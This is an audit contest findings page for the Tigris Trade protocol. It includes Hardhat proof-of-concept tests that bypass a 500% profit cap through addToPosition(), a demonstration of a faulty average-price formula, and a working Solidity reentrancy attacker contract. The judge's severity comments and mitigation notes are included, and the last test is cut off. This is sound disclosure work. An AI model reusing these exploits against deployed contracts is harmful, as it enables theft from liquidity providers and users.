Platform: Code4rena
Start Date: 09/12/2022
Pot Size: $90,500 USDC
Total HM: 35
Participants: 84
Period: 7 days
Judge: GalloDaSballo
Total Solo HM: 12
Id: 192
League: ETH
Rank: 1/84
Findings: 8
Award: $11,888.94
🌟 Selected for report: 3
🚀 Solo Findings: 2
🌟 Selected for report: KingNFT
5469.3936 USDC - $5,469.39
To protect the fund of vault, the protocol has a security mechanism which limits
Maximum PnL is +500%.
source: https://docs.tigris.trade/protocol/trading-and-fees#limitations
But the implementation is missing to check this limitation while addToPosition()
, an attacker can exploit it to get more profit than expected.
The following test case shows both normal case and the exploit scenario. In the normal case, a 990 USD margin, get back a 500% of 4950 USD payout, and the profit is 3960 USD. In the exploit case, the attack will get an extra 2600+ USD profit than the normal case.
const { expect } = require("chai"); const { deployments, ethers, waffle } = require("hardhat"); const { parseEther, formatEther } = ethers.utils; const { signERC2612Permit } = require('eth-permit'); const exp = require("constants"); describe("Design Specification: Maximum PnL is +500%", function () { let owner; let node; let user; let node2; let node3; let proxy; let Trading; let trading; let TradingExtension; let tradingExtension; let TradingLibrary; let tradinglibrary; let StableToken; let stabletoken; let StableVault; let stablevault; let position; let pairscontract; let referrals; let permitSig; let permitSigUsdc; let MockDAI; let mockdai; let MockUSDC; let mockusdc; let badstablevault; let chainlink; beforeEach(async function () { await deployments.fixture(['test']); [owner, node, user, node2, node3, proxy] = await ethers.getSigners(); StableToken = await deployments.get("StableToken"); stabletoken = await ethers.getContractAt("StableToken", StableToken.address); Trading = await deployments.get("Trading"); trading = await ethers.getContractAt("Trading", Trading.address); await trading.connect(owner).setMaxWinPercent(5e10); TradingExtension = await deployments.get("TradingExtension"); tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address); const Position = await deployments.get("Position"); position = await ethers.getContractAt("Position", Position.address); MockDAI = await deployments.get("MockDAI"); mockdai = await ethers.getContractAt("MockERC20", MockDAI.address); MockUSDC = await deployments.get("MockUSDC"); mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address); const PairsContract = await deployments.get("PairsContract"); pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address); const Referrals = await deployments.get("Referrals"); referrals = await ethers.getContractAt("Referrals", Referrals.address); StableVault = await deployments.get("StableVault"); stablevault = await ethers.getContractAt("StableVault", StableVault.address); await stablevault.connect(owner).listToken(MockDAI.address); await stablevault.connect(owner).listToken(MockUSDC.address); await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true); await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1")); await tradingExtension.connect(owner).setNode(node.address, true); await tradingExtension.connect(owner).setNode(node2.address, true); await tradingExtension.connect(owner).setNode(node3.address, true); await network.provider.send("evm_setNextBlockTimestamp", [2000000000]); await network.provider.send("evm_mine"); permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256); permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256); const BadStableVault = await ethers.getContractFactory("BadStableVault"); badstablevault = await BadStableVault.deploy(StableToken.address); const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed"); chainlink = await ChainlinkContract.deploy(); TradingLibrary = await deployments.get("TradingLibrary"); tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address); await trading.connect(owner).setLimitOrderPriceRange(1e10); }); describe("Bypass the maximum PnL check to take extra profit", function () { let orderId; let closePriceData; let closeSig; let initPrice = parseEther("1000"); let closePrice = parseEther("2000"); beforeEach(async function () { let maxWin = await trading.maxWinPercent(); expect(maxWin.eq(5e10)).to.equal(true); let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PriceData = [node.address, 1, initPrice, 0, 2000000000, false]; let message = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, initPrice, 0, 2000000000, false] ) ); let sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; orderId = await position.getCount(); await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); expect(await position.assetOpenPositionsLength(1)).to.equal(1); let trade = await position.trades(orderId); let marginAfterFee = trade.margin; expect(marginAfterFee.eq(parseEther('990'))).to.equal(true); // Some time later await network.provider.send("evm_setNextBlockTimestamp", [2000001000]); await network.provider.send("evm_mine"); // Now the price is doubled, profit = margin * leverage = $990 * 10 = $9900 closePriceData = [node.address, 1, closePrice, 0, 2000001000, false]; let closeMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, closePrice, 0, 2000001000, false] ) ); closeSig = await node.signMessage( Buffer.from(closeMessage.substring(2), 'hex') ); }); it.only("All profit is $9900, close the order normally, only get $3960 profit", async function () { let balanceBefore = await stabletoken.balanceOf(owner.address); await trading.connect(owner).initiateCloseOrder(orderId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); let balanceAfter = await stabletoken.balanceOf(owner.address); let marginAfterFee = parseEther("990"); let payout = balanceAfter.sub(balanceBefore); expect(payout.eq(parseEther("4950"))).to.be.true; let profit = balanceAfter.sub(balanceBefore).sub(marginAfterFee); expect(profit.eq(parseEther("3960"))).to.be.true; }); it.only("All profit is $9900, bypass the PnL check to take extra $2600 profit", async function () { // We increase the possition first rather than closing the profit order directly let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false]; let extraMargin = parseEther("1000"); await trading.connect(owner).addToPosition(orderId, extraMargin, closePriceData, closeSig, StableVault.address, MockDAI.address, PermitData, owner.address); // 60 secs later await network.provider.send("evm_setNextBlockTimestamp", [2000001060]); await network.provider.send("evm_mine"); // Now we close the order to take all profit closePriceData = [node.address, 1, closePrice, 0, 2000001060, false]; let closeMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, closePrice, 0, 2000001060, false] ) ); closeSig = await node.signMessage( Buffer.from(closeMessage.substring(2), 'hex') ); let balanceBefore = await stabletoken.balanceOf(owner.address); await trading.connect(owner).initiateCloseOrder(orderId, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address); let balanceAfter = await stabletoken.balanceOf(owner.address); let marginAfterFee = parseEther("990").add(extraMargin.mul(990).div(1000)); let originalProfit = parseEther("3960"); let extraProfit = balanceAfter.sub(balanceBefore).sub(marginAfterFee).sub(originalProfit); expect(extraProfit.gt(parseEther('2600'))).to.be.true; }); }); });
The test result
Design Specification: Maximum PnL is +500% Bypass the maximum PnL check to take extra profit √ All profit is $9900, close the order normally, only get $3960 profit √ All profit is $9900, bypass the PnL check to take extra $2600 profit
VS Code
Add a check for addToPosition()
function, revert if PnL >= 500%, enforce users to close the order to take a limited profit.
#0 - GalloDaSballo
2022-12-22T02:07:01Z
Coded POC -> Obvious primary
#1 - c4-judge
2022-12-22T02:07:05Z
GalloDaSballo marked the issue as primary issue
#2 - TriHaz
2022-12-26T07:03:00Z
It is valid but I think it should be med risk as it needs +500% win to happen so assets are not in a direct risk, need a judge opinion on this.
#3 - c4-sponsor
2022-12-26T07:03:04Z
TriHaz requested judge review
#4 - c4-sponsor
2022-12-26T07:03:09Z
TriHaz marked the issue as sponsor confirmed
#5 - c4-sponsor
2022-12-26T07:03:14Z
TriHaz marked the issue as disagree with severity
#6 - ydspa
2023-01-11T05:50:51Z
As the max leverages are 100x for crypto pairs and 500x for forex pairs, so 5% price change on crypto pairs or 1% on forex pairs lead to 500% profit. I think it would be frequent to see +500% win happening.
In my personal opinion, the 500%
security design is a base and important feature to protect fund safety of stakers, this bug causes the feature almost not working. Maybe it deserves a high severity.
#7 - GalloDaSballo
2023-01-16T09:19:15Z
The Warden has shown how, because of a lack of checks, an attacker could bypass the PNL cap and extract more value than intended.
While the condition of having a price movement of 500% can be viewed as external, I believe that in this specific case we have to exercise more nuance.
An attacker could setup a contract to perform the sidestep only when favourable, meaning that while the condition may not always be met, due to volatility of pricing there always is a % (can be viewed as a poisson distribution) that a PNL bypass would favour the attacker.
Additionally, after the CRV / AVI attack we have pretty strong evidence that any +EV scenario can be exploited as long as the payout is high enough.
As such I believe that the finding doesn't truly rely on an external condition.
For this reason, as well as knowing that the value extracted will be paid by LPs / the Protocol, I believe High Severity to be the most appropriate
#8 - c4-judge
2023-01-16T09:20:29Z
GalloDaSballo marked the issue as selected for report
#9 - GainsGoblin
2023-01-27T22:20:56Z
Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419173887 Implemented something similar to this report's recommended mitigation, where if PnL is >= maxPnl%-100%, then addToPosition, addMargin and removeMargin revert.
🌟 Selected for report: KingNFT
5469.3936 USDC - $5,469.39
The formula used for calculating _newPrice
in addToPosition()
function of Trading.sol is not correct, users will lose part of their funds/profit while using this function.
The wrong formula
uint _newPrice = _trade.price*_trade.margin/_newMargin + _price*_addMargin/_newMargin;
The correct formula is
uint _newPrice = _trade.price * _price * _newMargin / (_trade.margin * _price + _addMargin * _trade.price);
Why this workS? Given
P1 = _trade.price P2 = _price P = _newPrice M1 = _trade.margin M2 = _addMargin M = M1 + M2 = _newMargin L = _trade.leverage U1 = M1 * L = old position in USD U2 = M2 * L = new position in USD U = U1 + U2 = total position in USD E1 = U1 / P1 = old position of base asset, such as ETH, of the pair E2 = U2 / P2 = new position of base asset of the pair E = E1 + E2 = total position of base asset of the pair
Then
P = U / E = (U1 + U2) / (E1 + E2) = (M1 * L + M2 * L) / (U1 / P1 + U2 / P2) = P1 * P2 * (M1 * L + M2 * L) / (U1 * P2 + U2 * P1) = P1 * P2 * (M1 + M2) * L / (M1 * L * P2 + M2 * L * P1) = P1 * P2 * (M1 + M2) * L / [(M1 * P2 + M2 * P1) * L] = P1 * P2 * M / (M1 * P2 + M2 * P1)
proven.
The following test case shows two examples that users lose some funds due to add new position whenever their existing position is in profit or loss state.
const { expect } = require("chai"); const { deployments, ethers, waffle } = require("hardhat"); const { parseEther, formatEther } = ethers.utils; const { signERC2612Permit } = require('eth-permit'); const exp = require("constants"); describe("Incorrect calculation of new margin price while adding position", function () { let owner; let node; let user; let node2; let node3; let proxy; let Trading; let trading; let TradingExtension; let tradingExtension; let TradingLibrary; let tradinglibrary; let StableToken; let stabletoken; let StableVault; let stablevault; let position; let pairscontract; let referrals; let permitSig; let permitSigUsdc; let MockDAI; let mockdai; let MockUSDC; let mockusdc; let badstablevault; let chainlink; beforeEach(async function () { await deployments.fixture(['test']); [owner, node, user, node2, node3, proxy] = await ethers.getSigners(); StableToken = await deployments.get("StableToken"); stabletoken = await ethers.getContractAt("StableToken", StableToken.address); Trading = await deployments.get("Trading"); trading = await ethers.getContractAt("Trading", Trading.address); await trading.connect(owner).setMaxWinPercent(5e10); TradingExtension = await deployments.get("TradingExtension"); tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address); const Position = await deployments.get("Position"); position = await ethers.getContractAt("Position", Position.address); MockDAI = await deployments.get("MockDAI"); mockdai = await ethers.getContractAt("MockERC20", MockDAI.address); MockUSDC = await deployments.get("MockUSDC"); mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address); const PairsContract = await deployments.get("PairsContract"); pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address); const Referrals = await deployments.get("Referrals"); referrals = await ethers.getContractAt("Referrals", Referrals.address); StableVault = await deployments.get("StableVault"); stablevault = await ethers.getContractAt("StableVault", StableVault.address); await stablevault.connect(owner).listToken(MockDAI.address); await stablevault.connect(owner).listToken(MockUSDC.address); await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true); await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1")); await tradingExtension.connect(owner).setNode(node.address, true); await tradingExtension.connect(owner).setNode(node2.address, true); await tradingExtension.connect(owner).setNode(node3.address, true); await network.provider.send("evm_setNextBlockTimestamp", [2000000000]); await network.provider.send("evm_mine"); permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256); permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256); const BadStableVault = await ethers.getContractFactory("BadStableVault"); badstablevault = await BadStableVault.deploy(StableToken.address); const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed"); chainlink = await ChainlinkContract.deploy(); TradingLibrary = await deployments.get("TradingLibrary"); tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address); await trading.connect(owner).setLimitOrderPriceRange(1e10); }); describe("Initial margin $500, leverage 2x, position $1000, price $1000", function () { let orderId; let initPrice = parseEther("1000"); beforeEach(async function () { // To simpliy the problem, set fees to 0 await trading.setFees(true, 0, 0, 0, 0, 0); await trading.setFees(false, 0, 0, 0, 0, 0); let TradeInfo = [parseEther("500"), MockDAI.address, StableVault.address, parseEther("2"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PriceData = [node.address, 1, initPrice, 0, 2000000000, false]; let message = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, initPrice, 0, 2000000000, false] ) ); let sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; orderId = await position.getCount(); await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); expect(await position.assetOpenPositionsLength(1)).to.equal(1); let trade = await position.trades(orderId); let marginAfterFee = trade.margin; expect(marginAfterFee.eq(parseEther('500'))).to.equal(true); expect(trade.price.eq(parseEther('1000'))).to.be.true; expect(trade.leverage.eq(parseEther('2'))).to.be.true; }); it.only("Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1666", async function () { // The price increases from $1000 to $2000, the old position earns $1000 profit. // The expected PnL payout = old margin + earned profit + new margin // = $500 + $1000 + $500 // = $2000 let addingPrice = parseEther('2000'); let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false]; let addingMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, addingPrice, 0, 2000000000, false] ) ); let addingSig = await node.signMessage( Buffer.from(addingMessage.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false]; await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address); let trade = await position.trades(orderId); let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price, trade.margin, trade.leverage, trade.accInterest); expect(pnl._payout.gt(parseEther('1666'))).to.be.true; expect(pnl._payout.lt(parseEther('1667'))).to.be.true; }); it.only("Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $714", async function () { // The price decreases from $1000 to $750, the old position losses $250. // The expected PnL payout = old margin - loss + new margin // = $500 - $250 + $500 // = $750 let addingPrice = parseEther('750'); let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false]; let addingMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, addingPrice, 0, 2000000000, false] ) ); let addingSig = await node.signMessage( Buffer.from(addingMessage.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false]; await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address); let trade = await position.trades(orderId); let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price, trade.margin, trade.leverage, trade.accInterest); expect(pnl._payout.gt(parseEther('714'))).to.be.true; expect(pnl._payout.lt(parseEther('715'))).to.be.true; }); }); });
The test result
Incorrect calculation of new margin price while adding position Initial margin $500, leverage 2x, position $1000, price $1000 √ Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1666 √ Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $714
hardhat
Use the correct formula, the following test case is for the same above examples after fix.
const { expect } = require("chai"); const { deployments, ethers, waffle } = require("hardhat"); const { parseEther, formatEther } = ethers.utils; const { signERC2612Permit } = require('eth-permit'); const exp = require("constants"); describe("Correct calculation of new margin price while adding position", function () { let owner; let node; let user; let node2; let node3; let proxy; let Trading; let trading; let TradingExtension; let tradingExtension; let TradingLibrary; let tradinglibrary; let StableToken; let stabletoken; let StableVault; let stablevault; let position; let pairscontract; let referrals; let permitSig; let permitSigUsdc; let MockDAI; let mockdai; let MockUSDC; let mockusdc; let badstablevault; let chainlink; beforeEach(async function () { await deployments.fixture(['test']); [owner, node, user, node2, node3, proxy] = await ethers.getSigners(); StableToken = await deployments.get("StableToken"); stabletoken = await ethers.getContractAt("StableToken", StableToken.address); Trading = await deployments.get("Trading"); trading = await ethers.getContractAt("Trading", Trading.address); await trading.connect(owner).setMaxWinPercent(5e10); TradingExtension = await deployments.get("TradingExtension"); tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address); const Position = await deployments.get("Position"); position = await ethers.getContractAt("Position", Position.address); MockDAI = await deployments.get("MockDAI"); mockdai = await ethers.getContractAt("MockERC20", MockDAI.address); MockUSDC = await deployments.get("MockUSDC"); mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address); const PairsContract = await deployments.get("PairsContract"); pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address); const Referrals = await deployments.get("Referrals"); referrals = await ethers.getContractAt("Referrals", Referrals.address); StableVault = await deployments.get("StableVault"); stablevault = await ethers.getContractAt("StableVault", StableVault.address); await stablevault.connect(owner).listToken(MockDAI.address); await stablevault.connect(owner).listToken(MockUSDC.address); await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true); await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1")); await tradingExtension.connect(owner).setNode(node.address, true); await tradingExtension.connect(owner).setNode(node2.address, true); await tradingExtension.connect(owner).setNode(node3.address, true); await network.provider.send("evm_setNextBlockTimestamp", [2000000000]); await network.provider.send("evm_mine"); permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256); permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256); const BadStableVault = await ethers.getContractFactory("BadStableVault"); badstablevault = await BadStableVault.deploy(StableToken.address); const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed"); chainlink = await ChainlinkContract.deploy(); TradingLibrary = await deployments.get("TradingLibrary"); tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address); await trading.connect(owner).setLimitOrderPriceRange(1e10); }); describe("Initial margin $500, leverage 2x, position $1000, price $1000", function () { let orderId; let initPrice = parseEther("1000"); beforeEach(async function () { // To simpliy the problem, set fees to 0 await trading.setFees(true, 0, 0, 0, 0, 0); await trading.setFees(false, 0, 0, 0, 0, 0); let TradeInfo = [parseEther("500"), MockDAI.address, StableVault.address, parseEther("2"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; let PriceData = [node.address, 1, initPrice, 0, 2000000000, false]; let message = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, initPrice, 0, 2000000000, false] ) ); let sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; orderId = await position.getCount(); await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address); expect(await position.assetOpenPositionsLength(1)).to.equal(1); let trade = await position.trades(orderId); let marginAfterFee = trade.margin; expect(marginAfterFee.eq(parseEther('500'))).to.equal(true); expect(trade.price.eq(parseEther('1000'))).to.be.true; expect(trade.leverage.eq(parseEther('2'))).to.be.true; }); it.only("Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1999.99999", async function () { // The price increases from $1000 to $2000, the old position earns $1000 profit. // The expected PnL payout = old margin + earned profit + new margin // = $500 + $1000 + $500 // = $2000 let addingPrice = parseEther('2000'); let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false]; let addingMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, addingPrice, 0, 2000000000, false] ) ); let addingSig = await node.signMessage( Buffer.from(addingMessage.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false]; await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address); let trade = await position.trades(orderId); let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price, trade.margin, trade.leverage, trade.accInterest); expect(pnl._payout.gt(parseEther('1999.99999'))).to.be.true; expect(pnl._payout.lt(parseEther('2000'))).to.be.true; }); it.only("Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $749.99999", async function () { // The price decreases from $1000 to $750, the old position losses $250. // The expected PnL payout = old margin - loss + new margin // = $500 - $250 + $500 // = $750 let addingPrice = parseEther('750'); let addingPriceData = [node.address, 1, addingPrice, 0, 2000000000, false]; let addingMessage = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, addingPrice, 0, 2000000000, false] ) ); let addingSig = await node.signMessage( Buffer.from(addingMessage.substring(2), 'hex') ); let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, false]; await trading.connect(owner).addToPosition(orderId, parseEther('500'), addingPriceData, addingSig, StableVault.address, MockDAI.address, PermitData, owner.address); let trade = await position.trades(orderId); let pnl = await tradinglibrary.pnl(trade.direction, addingPrice, trade.price, trade.margin, trade.leverage, trade.accInterest); expect(pnl._payout.gt(parseEther('749.99999'))).to.be.true; expect(pnl._payout.lt(parseEther('750'))).to.be.true; }); }); });
The test result
Correct calculation of new margin price while adding position Initial margin $500, leverage 2x, position $1000, price $1000 √ Add position with new price $2000 and new margin $500, expected PnL payout $2000, actual payout $1999.99999 √ Add position with new price $750 and new margin $500, expected PnL payout $750, actual payout $749.99999
#0 - GalloDaSballo
2022-12-21T17:04:52Z
Similar to #480 but they seem to draw different conclusions, keeping both separate for now
#1 - c4-sponsor
2023-01-09T15:50:47Z
TriHaz marked the issue as sponsor confirmed
#2 - GalloDaSballo
2023-01-16T10:35:36Z
@TriHaz Saw that you Confirmed this one, but disputed #480, any specific reason why you think that they are different?
#3 - c4-judge
2023-01-16T19:56:27Z
GalloDaSballo marked the issue as primary issue
#4 - c4-judge
2023-01-16T19:59:05Z
GalloDaSballo marked the issue as selected for report
#5 - GalloDaSballo
2023-01-16T20:00:15Z
The warden has shown how, using addToPosition
can cause the payout math to become incorrect, because this highlights an issue with the math of the protocol, which will impact it's functionality, I believe High Severity to be appropriate.
#6 - GainsGoblin
2023-01-28T23:33:42Z
🌟 Selected for report: unforgiven
Also found by: 0xsomeone, KingNFT, debo, hihen, mookimgo, rotcivegaf, stealthyz, wait
201.2303 USDC - $201.23
https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L314 https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L355
External functions of Trading.sol is susceptible to reentrancy attack, a working attack example on 'initiateLimitOrder()' and 'cancelLimitOrder' is included in this submission which will cause
<1> Cancelled order is still in limitOrders()
<2> Other users' order is removed from limitOrders()
The working attack contract instance, put it into a new ReentrancyAttacker.sol
file of contracts
directory
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "./utils/MetaContext.sol"; import "./interfaces/ITrading.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IPairsContract.sol"; import "./interfaces/IReferrals.sol"; import "./interfaces/IPosition.sol"; import "./interfaces/IGovNFT.sol"; import "./interfaces/IStableVault.sol"; import "./utils/TradingLibrary.sol"; contract ReentrancyAttacker { address target; function initiateLimitOrder( ITrading.TradeInfo calldata _tradeInfo, uint256 _orderType, // 1 limit, 2 stop uint256 _price, ITrading.ERC20PermitData calldata _permitData ) external { ITrading(target).initiateLimitOrder( _tradeInfo, _orderType, _price, _permitData, address(this) ); } function setTarget(address _target) external { target = _target; } function approve(address token, address spender) external { IERC20(token).approve(spender, type(uint256).max); } function onERC721Received( address , address , uint256 id, bytes calldata ) external returns(bytes4) { ITrading(target).cancelLimitOrder(id, address(this)); return this.onERC721Received.selector; } }
The test case shows how the attack works
const { expect } = require("chai"); const { deployments, ethers, waffle } = require("hardhat"); const { parseEther, formatEther } = ethers.utils; const { signERC2612Permit } = require('eth-permit'); const exp = require("constants"); describe("Reentrancy attack on Trading contract", function () { let owner; let node; let user; let node2; let node3; let proxy; let Trading; let trading; let TradingExtension; let tradingExtension; let TradingLibrary; let tradinglibrary; let StableToken; let stabletoken; let StableVault; let stablevault; let position; let pairscontract; let referrals; let permitSig; let permitSigUsdc; let MockDAI; let mockdai; let MockUSDC; let mockusdc; let badstablevault; let chainlink; beforeEach(async function () { await deployments.fixture(['test']); [owner, node, user, node2, node3, proxy] = await ethers.getSigners(); StableToken = await deployments.get("StableToken"); stabletoken = await ethers.getContractAt("StableToken", StableToken.address); Trading = await deployments.get("Trading"); trading = await ethers.getContractAt("Trading", Trading.address); await trading.connect(owner).setMaxWinPercent(5e10); TradingExtension = await deployments.get("TradingExtension"); tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address); const Position = await deployments.get("Position"); position = await ethers.getContractAt("Position", Position.address); MockDAI = await deployments.get("MockDAI"); mockdai = await ethers.getContractAt("MockERC20", MockDAI.address); MockUSDC = await deployments.get("MockUSDC"); mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address); const PairsContract = await deployments.get("PairsContract"); pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address); const Referrals = await deployments.get("Referrals"); referrals = await ethers.getContractAt("Referrals", Referrals.address); StableVault = await deployments.get("StableVault"); stablevault = await ethers.getContractAt("StableVault", StableVault.address); await stablevault.connect(owner).listToken(MockDAI.address); await stablevault.connect(owner).listToken(MockUSDC.address); await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true); await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1")); await tradingExtension.connect(owner).setNode(node.address, true); await tradingExtension.connect(owner).setNode(node2.address, true); await tradingExtension.connect(owner).setNode(node3.address, true); await network.provider.send("evm_setNextBlockTimestamp", [2000000000]); await network.provider.send("evm_mine"); permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256); permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256); const BadStableVault = await ethers.getContractFactory("BadStableVault"); badstablevault = await BadStableVault.deploy(StableToken.address); const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed"); chainlink = await ChainlinkContract.deploy(); TradingLibrary = await deployments.get("TradingLibrary"); tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address); await trading.connect(owner).setLimitOrderPriceRange(1e10); }); describe("Exploit 'initiateLimitOrder()' and 'cancelLimitOrder'", function () { let TradeInfo; let PriceData; let sig; let PermitData; let attacker; let otherUsersOrderId; let attacksOrderId; beforeEach(async function () { const ReentrancyAttacker = await ethers.getContractFactory("ReentrancyAttacker"); attacker = await ReentrancyAttacker.deploy(); await mockdai.connect(owner).transfer(attacker.address, parseEther('10000')); let initPrice = parseEther('1000'); TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero]; PriceData = [node.address, 1, initPrice, 0, 2000000000, false]; let message = ethers.utils.keccak256( ethers.utils.defaultAbiCoder.encode( ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'], [node.address, 1, initPrice, 0, 2000000000, false] ) ); sig = await node.signMessage( Buffer.from(message.substring(2), 'hex') ); PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true]; otherUsersOrderId = await position.getCount(); await trading.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("20000"), PermitData, owner.address); expect(await position.limitOrdersLength(1)).to.equal(1); let trade = await position.trades(otherUsersOrderId); expect(trade.trader).to.equal(owner.address); attacksOrderId = await position.getCount(); PermitData[5] = false; await attacker.connect(owner).setTarget(trading.address); await attacker.connect(owner).approve(mockdai.address, trading.address); await attacker.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("1000"), PermitData); await expect(position.trades(attacksOrderId)).to.be.revertedWith('ERC721: invalid token ID'); let balance = await stabletoken.balanceOf(attacker.address); expect(balance.eq(parseEther('1000'))).to.be.true; }); it.only("Cancelled order is still in 'limitOrders()'", async function () { let ids = await position.limitOrders(1); let existing = false; for (let id of ids) { if (id.eq(attacksOrderId)) { existing = true; } } expect(existing).to.be.true; }); it.only("Other users' order is removed from 'limitOrders()'", async function () { let ids = await 